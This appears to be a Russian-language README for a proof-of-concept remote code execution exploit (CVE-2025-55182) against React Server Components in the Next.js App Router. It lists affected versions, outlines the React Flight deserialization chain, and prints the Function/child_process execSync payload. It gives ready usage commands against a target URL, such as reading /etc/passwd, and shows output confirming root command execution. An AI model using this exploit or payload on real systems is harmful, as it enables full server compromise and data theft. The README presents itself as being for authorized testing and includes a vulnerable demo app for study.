
Proof-of-Concept RCE для CVE‑2025‑55182, эксплуатирующий протокол React Flight в Next.js App Router.
| Next.js | React |
|---|
| 14.3.0-canary.77 to 15.0.4 | 19.0.0 |
| 15.1.1-canary.0 to 15.1.8 | 19.1.0 |
| 15.2.0-canary.0 to 15.2.5 | 19.1.1 |
| 15.3.0-canary.0 to 15.3.5 | 19.2.0 |
| 15.4.0-canary.0 to 15.4.7 | |
| 15.5.1-canary.0 to 15.5.6 | |
| 16.0.0-canary.0 to 16.0.6 |
| Next.js |
|---|
| 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7+ |
$@ для получения ссылки на необработанный Chunk.then через Chunk.prototype.then с помощью $1:__proto__:thenstatus в resolved_model для запуска initializeModelChunk$B1337 для запуска десериализации Blob_formData.get на конструктор Function_prefix содержит JS-код для выполненияКод выполняется через:
Function("throw new Error(require('child_process').execSync('COMMAND').toString());//1337")
pip install -r requirements.txt
python cve_2025_55182_poc.py https://target.com --check-only
# Default command (id)
python cve_2025_55182_poc.py https://target.com
# Custom command
python cve_2025_55182_poc.py https://target.com -c "whoami"
python cve_2025_55182_poc.py https://target.com -c "cat /etc/passwd"
python cve_2025_55182_poc.py https://target.com -c "dir C:\\"
| Параметр | Описание |
|---|---|
url | URL целевого ресурса (обязательно) |
-c, --command | Команда для выполнения (по умолчанию: id) |
--check-only | Только проверка на уязвимость |
-t, --timeout | Тайм-аут в секундах (по умолчанию: 15) |
-v, --verbose | Подробный вывод |
--raw | Показать необработанный ответ |
cd vulnerable-app
npm install
npm run dev
# Server at http://localhost:3000
+======================================================================+
| CVE-2025-55182 - React Server Components RCE |
| React Flight Protocol Deserialization Vulnerability |
+======================================================================+
[*] Affected: React 19.0.0-19.2.0 / Next.js 14.3-16.0.6
[*] CVSS Score: 10.0 (CRITICAL)
[*] Author: rl0x01
[*] Target: http://localhost:3000
[*] Timeout: 15s
[1/2] Checking vulnerability...
[+] VULNERABLE! RCE Confirmed - Output received
[2/2] Executing command: whoami
[+] Payload sent!
============================================================
RESULT: whoami
============================================================
root
============================================================
CVE-2025-55182/
├── cve_2025_55182_poc.py # Main exploit script
├── requirements.txt # Python dependencies
├── README.md # Documentation
└── vulnerable-app/ # Vulnerable Next.js app for testing
├── package.json
├── next.config.js
└── app/
├── layout.js
├── page.js
└── actions.js
⚠️ Этот инструмент предоставляется только в образовательных целях и для авторизованного тестирования безопасности.
Несанкционированное использование этого инструмента против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения, является незаконным.